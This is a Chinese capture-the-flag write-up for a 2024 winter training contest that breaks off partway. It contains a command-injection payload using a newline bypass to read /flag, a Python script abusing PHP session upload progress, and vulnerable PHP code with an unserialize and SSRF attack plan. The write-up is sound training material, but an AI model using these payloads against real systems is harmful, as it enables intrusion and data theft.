2024寒假训练赛4——Writeup
WEB web签到 直接上payload /?c=cat /flag%0a 虽然过滤掉了很多东西,但%0a是换行,可以将过滤的指令换到下一行,就不会影响上一行执行 prprp…py? 打开题目显示没有session 可以利用SESSION_UPLOAD_PROGRESS创建一个session: 下方的proxies为BurpSuite的代理地址 import requests url = "http://1.1.1.1:49343/" data = { "PHP_SESSION_UPLOAD_PROGRESS":"a" } file = { "file": ("a","a") } cookies = { "PHPSESSID": "a" } proxies = { "http": "127.0.0.1:8080" } req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies) print(req.text) 发包过去就能拿到源码了 获取到的源码如下,这里稍作分析: $_POST['data']可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据 核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF 第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件 第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie <?php error_reporting(0); if(!isset($_SESSION)){ die('Session not started'); } highlight_file(__FILE__); $type = $_SESSION['type']; $properties = $_SESSION['properties']; echo urlencode($_POST['data']); extract(unserialize($_POST['data'])); if(is_string($properties)&&unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object -> sctf(); exit(); } else if(is_array($properties)){ $object = new $type($properties[0],$properties[1]); } else { $object = file_get_contents('http://127.0.0.1:5000/'.$properties); } echo "this is the object: $object <br>"; ?> 这里的解题思路如下: ...